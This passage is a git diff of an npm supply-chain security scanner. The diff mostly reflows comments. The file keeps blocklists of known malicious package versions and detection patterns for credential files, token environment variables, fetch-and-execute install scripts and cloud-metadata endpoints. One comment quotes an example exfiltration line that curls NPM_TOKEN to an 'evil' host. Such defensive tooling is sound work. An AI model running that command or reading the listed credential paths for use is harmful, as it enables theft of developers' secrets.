b/scripts/scan_npm_packages.pyindex 6c835527272..66aba9760b7 100644--- a/scripts/scan_npm_packages.py+++ b/scripts/scan_npm_packages.py@@ -59,8 +59,8 @@ from pathlib import PathREPO_ROOT = Path(__file__).resolve().parents[1]# ─────────────────────────────────────────────────────────────────────-# Hard caps (deliberately conservative; npm tarballs in this repo are-# all well under these limits, so a packaging spike is noticeable).+# Hard caps (deliberately conservative; npm tarballs in this repo are all well under these limits, so a packaging+# spike is noticeable).# ─────────────────────────────────────────────────────────────────────# Caps calibrated against the real Unsloth frontend transitive closure:# - typescript.js is 9.1 MB (TS compiler bundled into one file)@@ -69,14 +69,10 @@ REPO_ROOT = Path(__file__).resolve().parents[1]# - rolldown bindings (.node) are 18-26 MB per platform# - @next/swc-*.node is ~137 MB (rust-compiled SWC engine)# - next.js cumulative bundle is ~134 MB (turbopack compiled)-#-# Native binaries (.node, .wasm, .so, .dll, .dylib) are GENUINELY-# huge and not amenable to text pattern scanning -- we extract them-# only to verify the tarball integrity over the full archive, then-# skip them in scan_extracted_tree. They get a much higher per-file-# cap. Text files (JS/TS/JSON/etc) keep the tight cap because the-# pattern scanner runs over them and a 9.1 MB typescript.js is the-# legitimate ceiling.+# Native binaries (.node, .wasm, .so, .dll, .dylib) are GENUINELY huge and not amenable to text pattern scanning: we+# extract them only to verify the tarball integrity over the full archive, then skip them in scan_extracted_tree.+# They get a much higher per-file cap. Text files (JS/TS/JSON/etc) keep the tight cap because the pattern scanner runs+# over them and a 9.1 MB typescript.js is the legitimate ceiling.HARD_MAX_TARBALL_BYTES = 256 * 1024 * 1024 # 256 MiB compressedHARD_MAX_TEXT_FILE_BYTES = 16 * 1024 * 1024 # 16 MiB per text fileHARD_MAX_BINARY_FILE_BYTES = 256 * 1024 * 1024 # 256 MiB per .node etc@@ -85,8 +81,8 @@ HARD_MAX_MEMBERS = 50_000 # entries per tarballHARD_HTTP_TIMEOUT_S = 60 # per request# Native-binary / compiled-asset suffixes that bypass the text cap.-# This is the SUFFIX shortlist; the content-magic check below covers-# extensionless executables (biome) and versioned shared libraries+# This is the SUFFIX shortlist;+# the content-magic check below covers extensionless executables (biome) and versioned shared libraries# (libvips-cpp.so.8.17.3) that the suffix list misses._BINARY_SUFFIXES = (".node",@@ -129,9 +125,8 @@ _VERSIONED_LIB = re.compile(re.IGNORECASE,)-# Magic numbers at offset 0 that identify common executable formats.-# We sniff the first ~16 bytes of every member to catch extensionless-# binaries (eg `package/biome`, `package/bin/foo`).+# Magic numbers at offset 0 that identify common executable formats. We sniff the first ~16 bytes of every member to+# catch extensionless binaries (eg `package/biome`, `package/bin/foo`)._BINARY_MAGICS = (b"\x7fELF", # ELF (Linux executable / .so)b"MZ", # PE / .exe / .dll (DOS header prefix)@@ -178,6 +173,7 @@ ALLOWED_DOWNLOAD_HOST = "registry.npmjs.org"# ─────────────────────────────────────────────────────────────────────# Severities + finding shape (mirrors scripts/scan_packages.py).# ─────────────────────────────────────────────────────────────────────+CRITICAL = "CRITICAL"HIGH = "HIGH"MEDIUM = "MEDIUM"@@ -222,13 +218,11 @@ class PackageEntry:# ─────────────────────────────────────────────────────────────────────# IOC patterns. Two flavours:-# - HOSTS / TOKEN_PATHS: high-confidence substrings; near-zero FP rate-# - JS_PATTERNS / SCRIPT_PATTERNS: regex; tuned to recent campaigns-# Keep this list short and factual. Speculative patterns spam the-# false-positive ledger and dull the signal.+# - substring tables (KNOWN_IOC_STRINGS, CRED_HOST_*, CRED_PATH_SUBSTRINGS): high-confidence, near-zero FP rate+# - regexes (_JS_FETCH_EVAL, _JS_ENV_TOKEN, _LIFECYCLE_FETCH_EXEC, _OBFUSC_BLOB): tuned to recent campaigns+# Keep this list short and factual. Speculative patterns spam the false-positive ledger and dull the signal.# ─────────────────────────────────────────────────────────────────────-# Substring (case-sensitive) -> (severity, detail).KNOWN_IOC_STRINGS: dict[str, tuple[str, str]] = {# Shai-Hulud TanStack wave (2026-05-11, GHSA-g7cv-rxg3-hmpx).@@ -273,8 +267,7 @@ KNOWN_IOC_STRINGS: dict[str, tuple[str, str]] = {}# Hard pin-blocks for publicly confirmed malicious versions.-# name -> {malicious_versions...}. A match short-circuits the scan-# at the lockfile-walk stage; no tarball is fetched.+# name -> {malicious_versions...}. A match short-circuits the scan at the lockfile-walk stage; no tarball is fetched.# keep in sync with scripts/lockfile_supply_chain_audit.pyBLOCKED_NPM_VERSIONS: dict[str, set[str]] = {# GHSA-g7cv-rxg3-hmpx -- TanStack May-11 2026 (84 versions).@@ -419,8 +412,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},"@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},"@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"},- # Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages)- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages)."@tallyui/components": {"1.0.1", "1.0.2", "1.0.3"},"@tallyui/connector-medusa": {"1.0.1", "1.0.2", "1.0.3"},"@tallyui/connector-shopify": {"1.0.1", "1.0.2", "1.0.3"},@@ -431,8 +423,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@tallyui/pos": {"0.1.1", "0.1.2", "0.1.3"},"@tallyui/storage-sqlite": {"0.2.1", "0.2.2", "0.2.3"},"@tallyui/theme": {"0.2.1", "0.2.2", "0.2.3"},- # Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions)- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions)."@beproduct/nestjs-auth": {"0.1.2","0.1.3",@@ -453,19 +444,16 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"0.1.18","0.1.19",},- # Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/*- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/*."@draftauth/client": {"0.2.1", "0.2.2"},"@draftauth/core": {"0.13.1", "0.13.2"},"@draftlab/auth": {"0.24.1", "0.24.2"},"@draftlab/auth-router": {"0.5.1", "0.5.2"},"@draftlab/db": {"0.16.1"},- # Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli."@taskflow-corp/cli": {"0.1.24", "0.1.25", "0.1.26", "0.1.27", "0.1.28", "0.1.29"},"@tolka/cli": {"1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6"},- # Mini Shai-Hulud May-12 wave: @ml-toolkit-ts/* + @mesadev/* + @dirigible-ai/sdk + @supersurkhet/*- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @ml-toolkit-ts/* + @mesadev/* + @dirigible-ai/sdk + @supersurkhet/*."@dirigible-ai/sdk": {"0.6.2", "0.6.3"},"@mesadev/rest": {"0.28.3"},"@mesadev/saguaro": {"0.4.22"},@@ -474,8 +462,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@ml-toolkit-ts/xgboost": {"1.0.3", "1.0.4"},"@supersurkhet/cli": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},"@supersurkhet/sdk": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},- # Mini Shai-Hulud May-12 wave: Unscoped packages (10 entries)- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: unscoped packages (10 entries)."safe-action": {"0.8.3", "0.8.4"},"ts-dna": {"3.0.1", "3.0.2", "3.0.3", "3.0.4"},"cross-stitch": {"1.1.3", "1.1.4", "1.1.5", "1.1.6"},@@ -486,28 +473,19 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"},"nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"},"ml-toolkit-ts": {"1.0.4", "1.0.5"},- # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of- # PyPI lightning 2.6.2/2.6.3. Same threat actor (TeamPCP) per Semgrep,- # Aikido, OX Security, Resecurity. Safe version: 7.0.3 and earlier.+ # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of PyPI lightning 2.6.2/2.6.3.+ # Safe version: 7.0.3 and earlier."intercom-client": {"7.0.4"},}-# Cloud / k8s / CI credential surfaces. A bare substring match here-# false-positives on DEFENSIVE code -- e.g. langchain ships an SSRF-# protection module with a literal blocklist of IMDS IPs. We split-# these into two tiers:-#-# ALWAYS_BAD: substrings with no legitimate use anywhere in a-# dependency. A bare match is enough.-#-# NEEDS_CONTEXT: hosts/paths that DO appear legitimately in-# defensive code. We only fire when they co-occur with a fetch-# verb or appear inside an http URL -- that is the structural-# difference between "blocked address constant" and "exfil-# target".-#-# The dispatch lives in `_scan_cred_surface` below.-+# Cloud / k8s / CI credential surfaces.+# A bare substring match here false-positives on DEFENSIVE code, e.g. langchain ships an SSRF protection module with a+# literal blocklist of IMDS IPs. We split these into two tiers:+# ALWAYS_BAD: substrings with no legitimate use anywhere in a dependency. A bare match is enough.+# NEEDS_CONTEXT: hosts/paths that DO appear legitimately in defensive code. We only fire when they co-occur with a+# fetch verb or appear inside an http URL, which is the structural difference between "blocked address constant"+# and "exfil target".+# The dispatch lives in `scan_text_blob` below.CRED_HOST_ALWAYS_BAD: tuple[tuple[str, str], ...] = (("registry.npmjs.org/-/npm/v1/tokens", "npm publish-token enumeration endpoint"),("ACTIONS_ID_TOKEN_REQUEST_URL", "GitHub Actions OIDC token-exchange endpoint env"),@@ -526,10 +504,9 @@ CRED_HOST_NEEDS_CONTEXT: tuple[tuple[str, str], ...] = (),)-# Credentials a frontend package should never read. Bare substring-# match is too noisy (legit dev tooling mounts ~/.npmrc), so we flag-# these only inside lifecycle scripts -- the only auto-run path on-# `npm ci`. See `scan_package_json` below.+# Credentials a frontend package should never read. Bare substring match is too noisy (legit dev tooling mounts+# ~/.npmrc), so these are flagged only inside lifecycle scripts, the only auto-run path on `npm ci`.+# See `scan_package_json` below.CRED_PATH_SUBSTRINGS: tuple[tuple[str, str], ...] = (("/.npmrc", "npm credentials file"),("/.aws/credentials", "AWS shared credentials file"),@@ -539,8 +516,7 @@ CRED_PATH_SUBSTRINGS: tuple[tuple[str, str], ...] = (("/.kube/config", "Kubernetes kubeconfig"),)-# Fetch verbs whose presence near a metadata host upgrades a bare-# substring hit into an actionable finding.+# Fetch verbs whose presence near a metadata host upgrades a bare substring hit into an actionable finding._FETCH_VERBS_PAT = (r"(?:fetch|axios|XMLHttpRequest|got\b|undici|"r"http\.get|https\.get|http\.request|https\.request|"@@ -548,7 +524,6 @@ _FETCH_VERBS_PAT = (r"\.request\s*\(|\.get\s*\(\s*['\"]\s*https?://)")-# JS regex patterns (compile lazily)._JS_FETCH_EVAL = re.compile(r"""(?xs)(?:@@ -561,8 +536,8 @@ _JS_FETCH_EVAL = re.compile(""",)-# Token env access in install-time code; also catches os.environ[...]-# for the rare Python-in-npm postinstall.+# Token env access in install-time code;+# also catches os.environ[...] for the rare Python-in-npm postinstall._JS_ENV_TOKEN = re.compile(r"""(process\.env\.|os\.environ\[?['"])(?:GITHUB_TOKEN | GH_TOKEN | NPM_TOKEN | NODE_AUTH_TOKEN@@ -573,9 +548,8 @@ _JS_ENV_TOKEN = re.compile(re.VERBOSE,)-# Lifecycle-script fetch+exec chain: curl/wget an external resource-# and run it. Bare curl/wget is allowed (legit fixture fetches); only-# the fetch+exec chain is blocked.+# Lifecycle-script fetch+exec chain: curl/wget an external resource and run it. Bare curl/wget is allowed (legit+# fixture fetches); only the fetch+exec chain is blocked._LIFECYCLE_FETCH_EXEC = re.compile(r"""(?xs)(?:curl|wget|fetch|http\.get|axios\.get)\s+ # fetch verb@@ -589,8 +563,8 @@ _LIFECYCLE_FETCH_EXEC = re.compile(""",)-# Obfuscation: large single-line base64-ish blob behind Function()/-# eval(). Tuned against the router_init.js shape (2.3 MB blob).+# Obfuscation: large single-line base64-ish blob behind Function()/ eval().+# Tuned against the router_init.js shape (2.3 MB blob)._OBFUSC_BLOB = re.compile(r"""(?xs)(?:Function|eval)\s*\(\s*['"`]?@@ -599,8 +573,6 @@ _OBFUSC_BLOB = re.compile()-# ─────────────────────────────────────────────────────────────────────-# Lockfile parsing.# ─────────────────────────────────────────────────────────────────────@@ -646,15 +618,13 @@ def parse_lockfile(path: Path) -> tuple[list[PackageEntry], list[Finding]]:for key, entry in (lock.get("packages") or {}).items():if key == "" or entry.get("link"):continue- # Nested fold-ins (deps inside another package's node_modules/)- # are covered by the parent tarball's integrity. Skip.+ # Nested fold-ins (deps inside another package's node_modules/) are covered by the parent tarball's integrity.if key.count("/node_modules/") >= 1:continueresolved = entry.get("resolved")if not resolved:continue- # Strict registry origin check so this scanner can't be tricked- # into fetching from an attacker-chosen URL.+ # Strict registry origin check so this scanner can't be tricked into fetching from an attacker-chosen URL.parsed = urllib.parse.urlparse(resolved)if parsed.scheme != "https" or parsed.hostname != ALLOWED_DOWNLOAD_HOST:findings.append(@@ -752,7 +722,6 @@ def download_tarball()try:with urllib.request.urlopen(req, timeout = timeout) as r:- # Advertised length, if any.cl = r.headers.get("Content-Length")if cl is not None:try:@@ -835,8 +804,7 @@ def safe_extract(return f"refused link member {name!r} (sym/lnk)"if member.isdev() or member.isfifo():return f"refused special member {name!r}"- # Check declared size up front to short-circuit bombs- # without reading the body.+ # Check declared size up front to short-circuit bombs without reading the body.declared = max(member.size, 0)if declared > HARD_MAX_BINARY_FILE_BYTES:return (@@ -848,8 +816,7 @@ def safe_extract(f"cumulative bytes {total + declared} > cap "f"{max_total_bytes} at {name!r}")- # Resolve destination and refuse anything escaping root- # (don't trust the npm "package/" convention).+ # Resolve destination and refuse anything escaping root (don't trust the npm "package/" convention).dest = extract_root / nameif not _is_within(extract_root, dest):return f"refused escape: {name!r} resolved outside root"@@ -857,14 +824,12 @@ def safe_extract(dest.mkdir(parents = True, exist_ok = True)continueif not member.isfile():- # Anything we didn't classify above is unknown.return f"refused unknown member type for {name!r}"dest.parent.mkdir(parents = True, exist_ok = True)src = tf.extractfile(member)if src is None:continue- # Sniff first 16 bytes to classify text vs binary;- # each gets its own cap (both are bounded).+ # Sniff first 16 bytes to classify text vs binary; each gets its own cap (both are bounded).header = src.read(16)is_binary = _looks_binary(name, header)file_cap = HARD_MAX_BINARY_FILE_BYTES if is_binary else HARD_MAX_TEXT_FILE_BYTES@@ -873,7 +838,6 @@ def safe_extract(f"member {name!r} declared size {declared} > "f"cap {file_cap} ({'binary' if is_binary else 'text'})")- # Read remainder, bounded.remainder_cap = file_cap - len(header)rest = src.read(remainder_cap + 1)data = header + rest@@ -894,24 +858,18 @@ def safe_extract(return None-# ─────────────────────────────────────────────────────────────────────-# Content scanning.-# ─────────────────────────────────────────────────────────────────────--# How far back to look for an enclosing bracket opener. Symmetric with the# forward cap so a host that sits deep inside a large options object (its opening# `{` many properties above) still binds the whole object, not just its own line;# a too-far start only over-binds (more context, still fail-closed), never less._MAX_CONT_LINES = 200-# Hard cap on how far forward a bracket group is followed to its close, measured-# from the matched line so the tail after the match is always reachable even when-# the opener was found near the backward limit (digest input only, never+# Hard cap on how far forward a bracket group is followed to its close, measured from the matched line so the tail+# after the match is always reachable even when the opener was found near the backward limit (digest input only, never# displayed); a realistic config object closes well within it._MAX_GROUP_LINES = 200-# JS string literal (single / double / template), blanked before counting-# brackets so a bracket inside a string is not mistaken for code.+# JS string literal (single / double / template), blanked before counting brackets so a bracket inside a string is not+# mistaken for code._RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")@@ -1063,15 +1021,13 @@ _MAX_EVIDENCE_MATCHES = 64def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:"""(start, end) line indices of the bracket group enclosing line ``idx`` in oneblanked view: scan back to the still-open opener, then forward to its close."""- # Backward: find the line that opens a bracket still unclosed at the match,- # so a match inside a multi-line object starts from the object opener. Each line- # is reduced to (L, R) and applied in order: first the L closers consume open- # brackets from the running context (a stray closer whose opener is outside the- # window only clamps depth at 0, it never goes negative), then the R openers- # add to it. Tracking order this way (rather than a single net per line) keeps a- # trailing opener visible even when leading closers on the same line net it to- # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a- # changed path/headers after such a line ride the unchanged-hostname key.+ # Backward: find the line that opens a bracket still unclosed at the match, so a match inside a multi-line object+ # starts from the object opener. Each line is reduced to (L, R) and applied in order: first the L closers consume+ # open brackets from the running context (a stray closer whose opener is outside the window only clamps depth at+ # 0, it never goes negative), then the R openers add to it.+ # Tracking order this way (rather than a single net per line) keeps a trailing opener visible even when leading+ # closers on the same line net it to <= 0, e.g. `}); const opts = {`, which a net count would drop,+ # letting a changed path/headers after such a line ride the unchanged-hostname key.start = idxdepth = 0for j in range(max(0, idx - _MAX_CONT_LINES), idx):@@ -1086,12 +1042,11 @@ def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:start = j # outermost still-open opener begins heredepth += right- # Forward: extend until the group opened at `start` closes past the match. The- # same order-aware reduction is used (clamping leading closers at 0) so the- # foreign `})` on the opener line does not drive the count negative and stop the- # scan before the real close. The cap is measured from the match (`idx`), not- # from `start`, so an opener found near the backward limit does not eat the- # whole forward budget and drop the path/headers/body that follow the match.+ # Forward: extend until the group opened at `start` closes past the match. The same order-aware reduction is used+ # (clamping leading closers at 0) so the foreign `})` on the opener line does not drive the count negative and stop+ # the scan before the real close. The cap is measured from the match (`idx`), not from `start`, so an opener found+ # near the backward limit does not eat the whole forward budget and drop the path/headers/body that follow the+ # match.depth = 0end = startfor j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):@@ -1168,12 +1123,10 @@ def _format_match(m: re.Match,max_chars: int,) -> str:- # The shown snippet is a small window around the match; append a digest of the- # full LOGICAL line (the matched line plus its bracket-continuation lines)- # whenever the snippet does not already show all of it, so a changed payload- # tail, a truncated body, or a multi-line option/header reopens. Offsets are- # mapped to line numbers via bisect over precomputed newline positions, so this- # is O(log n) instead of rescanning the file prefix for every match.+ # The shown snippet is a small window around the match; a digest of the full LOGICAL line (the matched line plus+ # its bracket-continuation lines) is appended whenever the snippet does not already show all of it, so a changed+ # payload tail, a truncated body, or a multi-line option/header reopens. Offsets map to line numbers via bisect+ # over precomputed newline positions, so this is O(log n) instead of rescanning the file prefix for every match.idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the matchline_start = nl[idx - 1] + 1 if idx > 0 else 0ke = bisect.bisect_left(nl, m.end())@@ -1185,9 +1138,9 @@ def _format_match(if len(snippet) > max_chars:snippet = snippet[:max_chars] + "..."if snippet != full_logical:- # Normalize before digesting, matching _evidence_hash, so a formatter-only- # reindent of the bound continuation lines does not reopen -- but preserve- # whitespace inside string literals so a changed request/payload body does.+ # Normalize before digesting, matching _evidence_hash, so a formatter-only reindent of the bound continuation+ # lines does not reopen -- but preserve whitespace inside string literals so a changed request/payload body+ # does.canon = _canon_preserve_strings(full_logical)digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()snippet = f"{snippet} sha256:{digest}"@@ -1227,14 +1180,13 @@ def _evidence(pat: re.Pattern,max_chars: int = 200,) -> str:- # Record every match (not a truncated sample) so an extra match appended to an- # already-flagged file changes the evidence instead of riding the first few.- # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest- # (binding their logical-line context) so the evidence string stays bounded- # while a changed payload past the cap still reopens. The matches are streamed- # from finditer rather than materialized into a list: a generated file can- # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a- # re.Match per occurrence before applying the cap would stall or OOM the scan.+ # Record every match (not a truncated sample) so an extra match appended to an already-flagged file changes the+ # evidence instead of riding the first few.+ # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest (binding their logical-line context)+ # so the evidence string stays bounded while a changed payload past the cap still reopens.+ # The matches are streamed from finditer rather than materialized into a list: a generated file can repeat a cheap+ # signal (e.g. NPM_TOKEN) millions of times, and holding a re.Match per occurrence before applying the cap would+ # stall or OOM the scan.it = pat.finditer(text)shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))if not shown_matches:@@ -1243,8 +1195,8 @@ def _evidence(shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches]- # Fold the rest (past the cap) into one digest as they arrive, never building a- # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].+ # Fold the rest (past the cap) into one digest as they arrive, never building a second list. Byte-identical to+ # digesting matches[_MAX_EVIDENCE_MATCHES:].overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)if overflow_count:shown.append(f"(+{overflow_count} more) sha256:{digest}")@@ -1263,13 +1215,12 @@ LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")# ─────────────────────────────────────────────────────────────────────-# Code-only scanning for JS/TS sources. Blank `//` and `/* */` comments-# before matching (the top FP source: scary strings in JSDoc/changelog-# comments), tracking string/template/regex context so a `//` inside-# "http://..." is not mistaken for a comment. Strings are NOT blanked-# (droppers hide payloads there). Fail open on lexer confusion: the raw-# text is still scanned. JS sibling of scan_packages.py::_strip_noncode.+# Code-only scanning for JS/TS sources. Blank `//` and `/* */` comments before matching (the top FP source: scary+# strings in JSDoc/changelog comments), tracking string/template/regex context so a `//` inside "http://..." is not+# mistaken for a comment. Strings are NOT blanked (droppers hide payloads there). Fail open on lexer confusion: the+# raw text is still scanned. JS sibling of scan_packages.py::_strip_noncode.# ─────────────────────────────────────────────────────────────────────+_JS_FAMILY_SUFFIXES = (".js", ".mjs", ".cjs", ".ts", ".tsx", ".jsx")# Keywords after which a `/` begins a regex literal (not division).@@ -1314,7 +1265,7 @@ def _slash_is_regex(prev_tok: str) -> bool:def _strip_js_noncode(text: str) -> str:"""Blank JS/TS comments, preserving byte geometry. Fail-open on confusion."""if "//" not in text and "/*" not in text:- return text # nothing to strip+ return textn = len(text)out = list(text)nl = ("\n", "\r")@@ -1351,7 +1302,7 @@ def _strip_js_noncode(text: str) -> str:breaki += 1if not closed:- return text # unterminated block comment+ return text_blank(start, i)continueif c == "'":@@ -1402,7 +1353,7 @@ def _strip_js_noncode(text: str) -> str:i += 1continueif c in nl:- return text # unterminated string literal+ return texti += 1continueelif state == "tmpl":@@ -1436,7 +1387,7 @@ def _strip_js_noncode(text: str) -> str:i += 1continueif c in nl:- return text # unterminated regex literal+ return texti += 1continueelif state == "regex_cc":@@ -1454,7 +1405,7 @@ def _strip_js_noncode(text: str) -> str:else:return textif state != "code" or tmpl_stack:- return text # unterminated construct -> fail open+ return textexcept Exception:return textreturn "".join(out)@@ -1475,15 +1426,12 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:body = scripts.get(hook)if not isinstance(body, str):continue- # Pin the whole lifecycle body via one digest shared by every lifecycle- # finding below: a script that keeps the matched signal but changes- # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"- # https://evil`) must reopen. The stored evidence is a bounded matched- # snippet plus this digest, never the entire body, so `--write-baseline`- # on a package with a multi-MiB install script does not bloat the baseline- # JSON while the digest still binds the full body. Normalized to match- # _evidence_hash so a reindent alone does not reopen, while whitespace- # inside quoted strings is preserved so a changed quoted payload does.+ # Pin the whole lifecycle body via one digest shared by every lifecycle finding below: a script that keeps the+ # matched signal but changes another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN" https://evil`)+ # must reopen. The stored evidence is a bounded matched snippet plus this digest, never the entire body, so+ # `--write-baseline` on a package with a multi-MiB install script does not bloat the baseline JSON while the+ # digest still binds the full body. Normalized to match _evidence_hash so a reindent alone does not reopen,+ # while whitespace inside quoted strings is preserved so a changed quoted payload does.body_digest = hashlib.sha256(_canon_preserve_strings(body).encode("utf-8", "replace")).hexdigest()@@ -1503,8 +1451,8 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:),))- # Cred file paths in a lifecycle script are exfil prep (npm- # auto-runs these on `npm ci`); manual scripts are out of scope.+ # Cred file paths in a lifecycle script are exfil prep (npm auto-runs these on `npm ci`); manual scripts are out+ # of scope.for path_substr, why in CRED_PATH_SUBSTRINGS:if path_substr in body:findings.append(@@ -1541,8 +1489,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:),))- # Optional deps pointing at github: are the TanStack-style- # injection vector.+ # Optional deps pointing at github: are the TanStack-style injection vector.opt = meta.get("optionalDependencies") or {}if isinstance(opt, dict):for k, v in opt.items():@@ -1572,7 +1519,6 @@ def _host_in_outbound_context(text: str, host: str) -> bool:A bare array literal (defensive blocklist) is safe; co-occurrencewith an HTTP URL scheme or a fetch verb in a short window is not."""- # Escape for regex (IPs contain dots).host_re = re.escape(host)# 1. URL form: http://host or https://host or //host/ or //host"url_form = re.compile(@@ -1602,6 +1548,7 @@ def _outbound_host_evidence(text: str, host: str) -> str:"""Evidence capturing the host WITH its outbound context (URL path, fetchcall, host config), so a changed path/headers/body reopens the key insteadof riding the bare host literal. Falls back to the host if none matches."""+ # Escape for regex (IPs contain dots).host_re = re.escape(host)patterns = (re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),@@ -1610,21 +1557,17 @@ def _outbound_host_evidence(text: str, host: str) -> str:rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",re.IGNORECASE,),- # Host-config form: capture the whole line (path/headers/body), so a- # changed outbound payload on the same hostname line reopens the key.+ # Host-config form: capture the whole line (path/headers/body), so a changed outbound payload on the same+ # hostname line reopens the key.re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),)- # Record EVERY outbound context for the host, not just the first form that- # matches: a file that already has a baselined URL for the host and later adds- # a separate host-config request (or a second URL) must change the evidence so- # the new payload cannot inherit the old key. Forms are claimed in order, and a- # region already claimed by an earlier form is skipped, so the common- # single-context case keeps its existing snippet. Each form is capped at- # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a- # minified file cannot make the overlap check quadratic; once chosen is full- # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a- # list, so a host repeated millions of times cannot OOM the scan) and an added- # context still reopens.+ # Record EVERY outbound context for the host, not just the first form that matches: a file that already has a+ # baselined URL for the host and later adds a separate host-config request (or a second URL) must change the+ # evidence so the new payload cannot inherit the old key. Forms are claimed in order, and a region already claimed+ # by an earlier form is skipped, so the common single-context case keeps its existing snippet. Each form is capped+ # at _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a minified file cannot make the+ # overlap check quadratic; once chosen is full the rest are folded into a digest AS THEY ARRIVE (never accumulated+ # into a list, so a host repeated millions of times cannot OOM the scan) and an added context still reopens.lines, sl_blanked, ml_blanked, nl = _index_text(text)claimed: list[tuple[int, int]] = []chosen: list[re.Match] = []@@ -1633,9 +1576,8 @@ def _outbound_host_evidence(text: str, host: str) -> str:for pat in patterns:for m in pat.finditer(text):if len(chosen) < _MAX_EVIDENCE_MATCHES:- # Overlap check runs only while filling the display list, so- # `claimed` is bounded by the cap and this stays O(cap) per match- # (not quadratic), while every later match is still counted below.+ # Overlap check runs only while filling the display list, so `claimed` is bounded by the cap and this+ # stays O(cap) per match (not quadratic), while every later match is still counted below.if any(m.start() < e and s < m.end() for s, e in claimed):continueclaimed.append((m.start(), m.end()))@@ -1663,10 +1605,9 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:if rel.lower().endswith(_JS_FAMILY_SUFFIXES):text = _strip_js_noncode(text)- # IOC substrings (literal, case-sensitive). Evidence is the matched-line- # context (with its bracket-group continuation), not the bare needle: an IOC- # host/hash left in place while the adjacent fetch/exfil body changes must- # reopen the key instead of riding the constant.+ # IOC substrings (literal, case-sensitive). Evidence is the matched-line context (with its bracket-group+ # continuation), not the bare needle: an IOC host/hash left in place while the adjacent fetch/exfil body changes+ # must reopen the key instead of riding the constant.for needle, (sev, why) in KNOWN_IOC_STRINGS.items():if needle in text:findings.append(@@ -1680,9 +1621,8 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:))- # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context- # (path/headers/body) when present so a changed exfil payload on the same call- # reopens; falls back to the bare host when it is not in an outbound call.+ # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context (path/headers/body) when present so a+ # changed exfil payload on the same call reopens; falls back to the bare host when it is not in an outbound call.for needle, why in CRED_HOST_ALWAYS_BAD:if needle in text:findings.append(@@ -1699,8 +1639,8 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:))- # Cred surfaces, tier 2: hosts that appear in defensive code too;- # require co-occurrence with a fetch verb or URL prefix.+ # Cred surfaces, tier 2: hosts that appear in defensive code too; require co-occurrence with a fetch verb or URL+ # prefix.for needle, why in CRED_HOST_NEEDS_CONTEXT:if needle in text and _host_in_outbound_context(text, needle):findings.append(@@ -1718,9 +1658,8 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:))- # Credential PATHS aren't scanned here (too many FPs at file- # scope); scan_package_json catches them inside lifecycle scripts.-+ # Credential PATHS aren't scanned here (too many FPs at file scope);+ # scan_package_json catches them inside lifecycle scripts.# JS-specific regex.if _JS_FETCH_EVAL.search(text):findings.append(@@ 